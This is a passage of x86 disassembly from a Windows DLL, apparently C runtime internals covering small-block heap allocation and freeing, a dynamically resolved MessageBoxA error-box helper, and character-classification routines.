		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_69B85CD1
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_69B85CD1
; ---------------------------------------------------------------------------


loc_69B85CB7:				; CODE XREF: sub_69B85B77+127j
		lea	ecx, [ebx-20h]
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_69B85CD1
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_69B85CD1:				; CODE XREF: sub_69B85B77+11Dj
					; sub_69B85B77+137j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_69B85CE9:				; CODE XREF: sub_69B85B77+112j
		mov	esi, [ebp+arg_4]
		jmp	short loc_69B85CF1
; ---------------------------------------------------------------------------


loc_69B85CEE:				; CODE XREF: sub_69B85B77+E2j
		mov	ebx, [ebp+arg_0]


loc_69B85CF1:				; CODE XREF: sub_69B85B77+175j
		cmp	[ebp+var_C], 0
		jnz	short loc_69B85CFF
		cmp	ebx, edx
		jz	loc_69B85D7F


loc_69B85CFF:				; CODE XREF: sub_69B85B77+17Ej
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edx*8]
		mov	ebx, [ecx+4]
		mov	[esi+8], ecx
		mov	[esi+4], ebx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_69B85D7F
		mov	cl, [edx+eax+4]
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		cmp	edx, 20h
		mov	[edx+eax+4], cl
		jnb	short loc_69B85D56
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_69B85D45
		mov	ecx, edx
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_69B85D45:				; CODE XREF: sub_69B85B77+1BEj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_69B85D7F
; ---------------------------------------------------------------------------


loc_69B85D56:				; CODE XREF: sub_69B85B77+1B8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_69B85D6C
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_69B85D6C:				; CODE XREF: sub_69B85B77+1E3j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_69B85D7F:				; CODE XREF: sub_69B85B77+182j
					; sub_69B85B77+1A6j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_69B85E8A
		mov	eax, dword_69B9B780
		test	eax, eax
		jz	loc_69B85E7C
		mov	ecx, dword_69B9B798
		mov	esi, ds:VirtualFree
		push	4000h		; dwFreeType
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	ebx		; dwSize
		push	ecx		; lpAddress
		call	esi ; VirtualFree
		mov	ecx, dword_69B9B798
		mov	eax, dword_69B9B780
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_69B9B780
		mov	eax, [eax+10h]
		mov	ecx, dword_69B9B798
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_69B9B780
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_69B9B780
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_69B85E0D
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_69B9B780


loc_69B85E0D:				; CODE XREF: sub_69B85B77+28Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_69B85E7C
		push	ebx		; dwFreeType
		push	0		; dwSize
		push	dword ptr [eax+0Ch] ; lpAddress
		call	esi ; VirtualFree
		mov	eax, dword_69B9B780
		push	dword ptr [eax+10h] ; lpMem
		push	0		; dwFlags
		push	dword_69B96000	; hHeap
		call	ds:HeapFree
		mov	eax, dword_69B9B784
		mov	edx, dword_69B9B788
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_69B9B780
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_69B22103
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_69B9B784
		cmp	eax, dword_69B9B780
		jbe	short loc_69B85E72
		sub	[ebp+arg_0], 14h


loc_69B85E72:				; CODE XREF: sub_69B85B77+2F5j
		mov	eax, dword_69B9B788
		mov	dword_69B9B790,	eax


loc_69B85E7C:				; CODE XREF: sub_69B85B77+223j
					; sub_69B85B77+29Aj
		mov	eax, [ebp+arg_0]
		mov	dword_69B9B780,	eax
		mov	dword_69B9B798,	edi


loc_69B85E8A:				; CODE XREF: sub_69B85B77+216j
		pop	ebx


loc_69B85E8B:				; CODE XREF: sub_69B85B77+37j
		pop	edi
		pop	esi
		leave
		retn
sub_69B85B77	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B85E8F	proc near		; CODE XREF: sub_69B8604C+150p
		mov	eax, dword_69B9B784
		mov	ecx, dword_69B9B794
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_69B85ED5
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax		; dwBytes
		push	dword_69B9B788	; lpMem
		push	edi		; dwFlags
		push	dword_69B96000	; hHeap
		call	ds:HeapReAlloc
		cmp	eax, edi
		jnz	short loc_69B85EC4
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_69B85EC4:				; CODE XREF: sub_69B85E8F+2Fj
		add	dword_69B9B794,	10h
		mov	dword_69B9B788,	eax
		mov	eax, dword_69B9B784


loc_69B85ED5:				; CODE XREF: sub_69B85E8F+10j
		mov	ecx, dword_69B9B788
		push	esi
		push	41C4h		; dwBytes
		push	8		; dwFlags
		push	dword_69B96000	; hHeap
		lea	eax, [eax+eax*4]
		lea	esi, [ecx+eax*4]
		call	ds:HeapAlloc
		cmp	eax, edi
		mov	[esi+10h], eax
		jnz	short loc_69B85F00


loc_69B85EFC:				; CODE XREF: sub_69B85E8F+9Bj
		xor	eax, eax
		jmp	short loc_69B85F43
; ---------------------------------------------------------------------------


loc_69B85F00:				; CODE XREF: sub_69B85E8F+6Bj
		push	4		; flProtect
		push	2000h		; flAllocationType
		push	100000h		; dwSize
		push	edi		; lpAddress
		call	ds:VirtualAlloc	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_69B85F2C
		push	dword ptr [esi+10h] ; lpMem
		push	edi		; dwFlags
		push	dword_69B96000	; hHeap
		call	ds:HeapFree
		jmp	short loc_69B85EFC
; ---------------------------------------------------------------------------


loc_69B85F2C:				; CODE XREF: sub_69B85E8F+89j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_69B9B784
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_69B85F43:				; CODE XREF: sub_69B85E8F+6Fj
		pop	esi
		pop	edi
		retn
sub_69B85E8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B85F46	proc near		; CODE XREF: sub_69B8604C+15Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+8]
		push	ebx
		push	esi
		mov	esi, [ecx+10h]
		push	edi
		xor	ebx, ebx
		jmp	short loc_69B85F5E
; ---------------------------------------------------------------------------


loc_69B85F5B:				; CODE XREF: sub_69B85F46+1Aj
		shl	eax, 1
		inc	ebx


loc_69B85F5E:				; CODE XREF: sub_69B85F46+13j
		test	eax, eax
		jge	short loc_69B85F5B
		mov	eax, ebx
		imul	eax, 204h
		lea	eax, [eax+esi+144h]
		push	3Fh
		mov	[ebp+var_8], eax
		pop	edx


loc_69B85F77:				; CODE XREF: sub_69B85F46+3Bj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_69B85F77
		push	4		; flProtect
		mov	edi, ebx
		push	1000h		; flAllocationType
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	8000h		; dwSize
		push	edi		; lpAddress
		call	ds:VirtualAlloc	; VirtualAlloc
		test	eax, eax
		jnz	short loc_69B85FAA
		or	eax, 0FFFFFFFFh
		jmp	loc_69B86047
; ---------------------------------------------------------------------------


loc_69B85FAA:				; CODE XREF: sub_69B85F46+5Aj
		lea	edx, [edi+7000h]
		cmp	edi, edx
		mov	[ebp+var_4], edx
		ja	short loc_69B85FFA
		mov	ecx, edx
		sub	ecx, edi
		shr	ecx, 0Ch
		lea	eax, [edi+10h]
		inc	ecx


loc_69B85FC2:				; CODE XREF: sub_69B85F46+AFj
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	edx, [eax+0FFCh]
		mov	[eax], edx
		lea	edx, [eax-1004h]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax+4], edx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		dec	ecx
		jnz	short loc_69B85FC2
		mov	edx, [ebp+var_4]


loc_69B85FFA:				; CODE XREF: sub_69B85F46+6Fj
		mov	eax, [ebp+var_8]
		add	eax, 1F8h
		lea	ecx, [edi+0Ch]
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		xor	edi, edi
		inc	edi
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_69B86037
		or	[eax+4], edi


loc_69B86037:				; CODE XREF: sub_69B85F46+ECj
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_69B86047:				; CODE XREF: sub_69B85F46+5Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B85F46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8604C	proc near		; CODE XREF: sub_69B1CEB6+844Ep
					; sub_69B86348+28p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	ecx, [ebp+arg_0]
		mov	eax, dword_69B9B784
		mov	edx, dword_69B9B788
		add	ecx, 17h
		and	ecx, 0FFFFFFF0h
		push	ebx
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		dec	ecx
		cmp	ecx, 20h
		lea	edi, [edx+eax*4]
		mov	[ebp+var_4], edi
		jge	short loc_69B86089
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_69B86096
; ---------------------------------------------------------------------------


loc_69B86089:				; CODE XREF: sub_69B8604C+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_8], eax


loc_69B86096:				; CODE XREF: sub_69B8604C+3Bj
		mov	eax, dword_69B9B790
		mov	ebx, eax
		mov	[ebp+var_C], esi
		cmp	ebx, edi
		jmp	short loc_69B860B8
; ---------------------------------------------------------------------------


loc_69B860A4:				; CODE XREF: sub_69B8604C+6Fj
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_69B860BD
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]


loc_69B860B8:				; CODE XREF: sub_69B8604C+56j
		mov	[ebp+arg_0], ebx
		jb	short loc_69B860A4


loc_69B860BD:				; CODE XREF: sub_69B8604C+64j
		cmp	ebx, [ebp+var_4]
		jnz	short loc_69B860E6
		mov	ebx, edx
		jmp	short loc_69B860D7
; ---------------------------------------------------------------------------


loc_69B860C6:				; CODE XREF: sub_69B8604C+90j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_69B860DE
		add	ebx, 14h


loc_69B860D7:				; CODE XREF: sub_69B8604C+78j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jb	short loc_69B860C6


loc_69B860DE:				; CODE XREF: sub_69B8604C+86j
		cmp	ebx, eax
		jz	loc_69B8617A


loc_69B860E6:				; CODE XREF: sub_69B8604C+74j
					; sub_69B8604C+170j
		mov	dword_69B9B790,	ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_69B8610D
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_69B86143


loc_69B8610D:				; CODE XREF: sub_69B8604C+ABj
		mov	edx, [eax+0C4h]
		and	edx, [ebp+var_8]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		mov	esi, [ecx]
		and	esi, [ebp+var_C]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_69B86140


loc_69B86129:				; CODE XREF: sub_69B8604C+F2j
		mov	edx, [ecx+84h]
		and	edx, [ebp+var_8]
		inc	[ebp+var_4]
		add	ecx, 4
		mov	edi, [ecx]
		and	edi, esi
		or	edx, edi
		jz	short loc_69B86129


loc_69B86140:				; CODE XREF: sub_69B8604C+DBj
		mov	edx, [ebp+var_4]


loc_69B86143:				; CODE XREF: sub_69B8604C+BFj
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		xor	edi, edi
		and	ecx, esi
		jnz	short loc_69B861CC
		mov	ecx, [eax+edx*4+0C4h]
		and	ecx, [ebp+var_8]
		push	20h
		pop	edi
		jmp	short loc_69B861CC
; ---------------------------------------------------------------------------


loc_69B8616E:				; CODE XREF: sub_69B8604C+131j
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_69B8617F
		add	ebx, 14h
		mov	[ebp+arg_0], ebx


loc_69B8617A:				; CODE XREF: sub_69B8604C+94j
		cmp	ebx, [ebp+var_4]
		jb	short loc_69B8616E


loc_69B8617F:				; CODE XREF: sub_69B8604C+126j
		cmp	ebx, [ebp+var_4]
		jnz	short loc_69B861AA
		mov	ebx, edx
		jmp	short loc_69B86191
; ---------------------------------------------------------------------------


loc_69B86188:				; CODE XREF: sub_69B8604C+14Aj
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_69B86198
		add	ebx, 14h


loc_69B86191:				; CODE XREF: sub_69B8604C+13Aj
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jb	short loc_69B86188


loc_69B86198:				; CODE XREF: sub_69B8604C+140j
		cmp	ebx, eax
		jnz	short loc_69B861AA
		call	sub_69B85E8F
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_69B861C2


loc_69B861AA:				; CODE XREF: sub_69B8604C+136j
					; sub_69B8604C+14Ej
		push	ebx
		call	sub_69B85F46
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	loc_69B860E6


loc_69B861C2:				; CODE XREF: sub_69B8604C+15Cj
		xor	eax, eax
		jmp	loc_69B86343
; ---------------------------------------------------------------------------


loc_69B861C9:				; CODE XREF: sub_69B8604C+182j
		shl	ecx, 1
		inc	edi


loc_69B861CC:				; CODE XREF: sub_69B8604C+111j
					; sub_69B8604C+120j
		test	ecx, ecx
		jge	short loc_69B861C9
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		mov	[ebp+var_8], ecx
		jle	short loc_69B861ED
		push	3Fh
		pop	esi


loc_69B861ED:				; CODE XREF: sub_69B8604C+19Cj
		cmp	esi, edi
		jz	loc_69B862F6
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_69B86259
		cmp	edi, 20h
		mov	ebx, 80000000h
		jge	short loc_69B8622D
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_69B86256
		mov	ecx, [ebp+var_14]
		mov	ebx, [ebp+arg_0]
		and	[ebx], ecx
		jmp	short loc_69B86259
; ---------------------------------------------------------------------------


loc_69B8622D:				; CODE XREF: sub_69B8604C+1B9j
		lea	ecx, [edi-20h]
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	ecx, [eax+ecx*4+0C4h]
		lea	edi, [eax+edi+4]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_69B86256
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_69B86259
; ---------------------------------------------------------------------------


loc_69B86256:				; CODE XREF: sub_69B8604C+1D5j
					; sub_69B8604C+1FDj
		mov	ebx, [ebp+arg_0]


loc_69B86259:				; CODE XREF: sub_69B8604C+1AFj
					; sub_69B8604C+1DFj ...
		cmp	[ebp+var_8], 0
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_69B86302
		mov	ecx, [ebp+var_C]
		lea	ecx, [ecx+esi*8]
		mov	edi, [ecx+4]
		mov	[edx+8], ecx
		mov	[edx+4], edi
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_69B862F3
		mov	cl, [esi+eax+4]
		mov	byte ptr [ebp+arg_0+3],	cl
		inc	cl
		cmp	esi, 20h
		mov	[esi+eax+4], cl
		jge	short loc_69B862CA
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_69B862B8
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_69B862B8:				; CODE XREF: sub_69B8604C+25Fj
		mov	ecx, esi
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_69B862F3
; ---------------------------------------------------------------------------


loc_69B862CA:				; CODE XREF: sub_69B8604C+259j
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_69B862DD
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_69B862DD:				; CODE XREF: sub_69B8604C+282j
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_69B862F3:				; CODE XREF: sub_69B8604C+247j
					; sub_69B8604C+27Cj
		mov	ecx, [ebp+var_8]


loc_69B862F6:				; CODE XREF: sub_69B8604C+1A3j
		test	ecx, ecx
		jz	short loc_69B86305
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_69B86305
; ---------------------------------------------------------------------------


loc_69B86302:				; CODE XREF: sub_69B8604C+223j
		mov	ecx, [ebp+var_8]


loc_69B86305:				; CODE XREF: sub_69B8604C+2ACj
					; sub_69B8604C+2B4j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_69B8633B
		cmp	ebx, dword_69B9B780
		jnz	short loc_69B8633B
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_69B9B798
		jnz	short loc_69B8633B
		and	dword_69B9B780,	0


loc_69B8633B:				; CODE XREF: sub_69B8604C+2D3j
					; sub_69B8604C+2DBj ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_69B86343:				; CODE XREF: sub_69B8604C+178j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B8604C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B86348	proc near		; CODE XREF: sub_69B19587+BD1Ap
		push	0Ch
		push	offset dword_69B86398
		call	sub_69B19C5C
		and	dword ptr [ebp-1Ch], 0
		mov	esi, [ebp+8]
		cmp	esi, dword_69B9B78C
		ja	short loc_69B86382
		push	4
		call	sub_69B113FC
		pop	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		call	sub_69B8604C
		pop	ecx
		mov	[ebp-1Ch], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_69B8638B


loc_69B86382:				; CODE XREF: sub_69B86348+19j
		mov	eax, [ebp-1Ch]
		call	sub_69B1853C
		retn
sub_69B86348	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_69B8638B	proc near		; CODE XREF: sub_69B86348+35p
					; DATA XREF: .text:69B863A0o
		push	4
		call	sub_69B1D1C5
		pop	ecx
		retn
sub_69B8638B	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B86398	dd 0FFFFFFFFh, 0		dd offset sub_69B8638B
; ---------------------------------------------------------------------------


loc_69B863A4:				; DATA XREF: sub_69B19C19:loc_69B2535Eo
		push	dword ptr [esp+4]
		call	ds:InitializeCriticalSection	; InitializeCriticalSection
		xor	eax, eax
		inc	eax
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B863B4	proc near		; CODE XREF: sub_69B84F8F+186p

var_10		= byte ptr -10h
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_A		= byte ptr  12h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		xor	ebx, ebx
		cmp	dword_69B9B71C,	ebx
		push	esi
		push	edi
		jnz	short loc_69B86434
		push	offset aUser32_dll_0 ; "user32.dll"
		call	ds:LoadLibraryA	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_69B8646F
		mov	esi, ds:GetProcAddress
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi		; hModule
		call	esi ; GetProcAddress
		test	eax, eax
		mov	dword_69B9B71C,	eax
		jz	short loc_69B8646F
		push	offset aGetactivewin_0 ; "GetActiveWindow"
		push	edi		; hModule
		call	esi ; GetProcAddress
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi		; hModule
		mov	dword_69B9B720,	eax
		call	esi ; GetProcAddress
		cmp	dword_69B95AFC,	2
		mov	dword_69B9B724,	eax
		jnz	short loc_69B86434
		push	offset aGetuserobjecti ; "GetUserObjectInformationA"
		push	edi		; hModule
		call	esi ; GetProcAddress
		test	eax, eax
		mov	dword_69B9B72C,	eax
		jz	short loc_69B86434
		push	offset aGetprocesswind ; "GetProcessWindowStation"
		push	edi		; hModule
		call	esi ; GetProcAddress
		mov	dword_69B9B728,	eax


loc_69B86434:				; CODE XREF: sub_69B863B4+11j
					; sub_69B863B4+60j ...
		mov	eax, dword_69B9B728
		test	eax, eax
		jz	short loc_69B86479
		call	eax ; dword_69B9B728
		test	eax, eax
		jz	short loc_69B86460
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Ch
		lea	ecx, [ebp+var_10]
		push	ecx
		push	1
		push	eax
		call	dword_69B9B72C	; GetUserObjectInformationA
		test	eax, eax
		jz	short loc_69B86460
		test	[ebp+var_8], 1
		jnz	short loc_69B86479


loc_69B86460:				; CODE XREF: sub_69B863B4+8Dj
					; sub_69B863B4+A4j
		cmp	dword_69B95B08,	4
		jb	short loc_69B86473
		or	[ebp+arg_A], 20h
		jmp	short loc_69B86498
; ---------------------------------------------------------------------------


loc_69B8646F:				; CODE XREF: sub_69B863B4+22j
					; sub_69B863B4+3Dj
		xor	eax, eax
		jmp	short loc_69B864A8
; ---------------------------------------------------------------------------


loc_69B86473:				; CODE XREF: sub_69B863B4+B3j
		or	[ebp+arg_A], 4
		jmp	short loc_69B86498
; ---------------------------------------------------------------------------


loc_69B86479:				; CODE XREF: sub_69B863B4+87j
					; sub_69B863B4+AAj
		mov	eax, dword_69B9B720
		test	eax, eax
		jz	short loc_69B86498
		call	eax ; dword_69B9B720
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_69B86498
		mov	eax, dword_69B9B724
		test	eax, eax
		jz	short loc_69B86498
		push	ebx
		call	eax ; dword_69B9B724
		mov	ebx, eax


loc_69B86498:				; CODE XREF: sub_69B863B4+B9j
					; sub_69B863B4+C3j ...
		push	dword ptr [ebp+10h]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	ebx
		call	dword_69B9B71C	; MessageBoxA


loc_69B864A8:				; CODE XREF: sub_69B863B4+BDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B863B4	endp

; ---------------------------------------------------------------------------
		align 10h
; char aGetprocesswind[]
aGetprocesswind	db 'GetProcessWindowStation',0 ; DATA XREF: sub_69B863B4+73o
; char aGetuserobjecti[]
aGetuserobjecti	db 'GetUserObjectInformationA',0 ; DATA XREF: sub_69B863B4+62o
		align 4
; char aGetlastactivep[]
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_69B863B4+47o
		align 4
; char aGetactivewin_0[]
aGetactivewin_0	db 'GetActiveWindow',0  ; DATA XREF: sub_69B863B4+3Fo
; char aMessageboxa[]
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_69B863B4+2Eo
; char aUser32_dll_0[]
aUser32_dll_0	db 'user32.dll',0       ; DATA XREF: sub_69B863B4+13o

; =============== S U B	R O U T	I N E =======================================



sub_69B8651F	proc near		; CODE XREF: sub_69B851F8+18p
					; sub_69B87074+165p ...

arg_0		= dword	ptr  4

		call	sub_69B84DE2
		mov	eax, [eax+64h]
		cmp	eax, off_69B9AB2C
		jz	short loc_69B86534
		call	sub_69B85A60


loc_69B86534:				; CODE XREF: sub_69B8651F+Ej
		cmp	dword ptr [eax+28h], 1
		jle	short loc_69B8654A
		push	4
		push	[esp+4+arg_0]
		push	eax
		call	sub_69B86E55
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_69B8654A:				; CODE XREF: sub_69B8651F+19j
		mov	eax, [eax+48h]
		mov	ecx, [esp+arg_0]
		movzx	eax, byte ptr [eax+ecx*2]
		and	eax, 4
		retn
sub_69B8651F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B86559	proc near		; CODE XREF: sub_69B86621+1Ap

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	dword ptr [esi+14h], 0
		push	edi
		jz	loc_69B8660D
		cmp	dword ptr [esi+24h], 0
		jz	short loc_69B8657F
		cmp	ebx, 7Fh
		jbe	loc_69B8660D


loc_69B8657F:				; CODE XREF: sub_69B86559+1Bj
		xor	edi, edi
		inc	edi
		cmp	ebx, 100h
		jnb	short loc_69B865A9
		cmp	[esi+28h], edi
		jle	short loc_69B8659C
		push	edi
		push	ebx
		push	esi
		call	sub_69B86E55
		add	esp, 0Ch
		jmp	short loc_69B865A5
; ---------------------------------------------------------------------------


loc_69B8659C:				; CODE XREF: sub_69B86559+34j
		mov	eax, [esi+48h]
		movzx	eax, byte ptr [eax+ebx*2]
		and	eax, edi


loc_69B865A5:				; CODE XREF: sub_69B86559+41j
		test	eax, eax
		jz	short loc_69B8661A


loc_69B865A9:				; CODE XREF: sub_69B86559+2Fj
		mov	edx, [esi+48h]
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_69B865CA
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		mov	byte ptr [ebp+arg_0+2],	0
		pop	eax
		jmp	short loc_69B865D3
; ---------------------------------------------------------------------------


loc_69B865CA:				; CODE XREF: sub_69B86559+60j
		mov	byte ptr [ebp+arg_0], bl
		mov	byte ptr [ebp+arg_0+1],	0
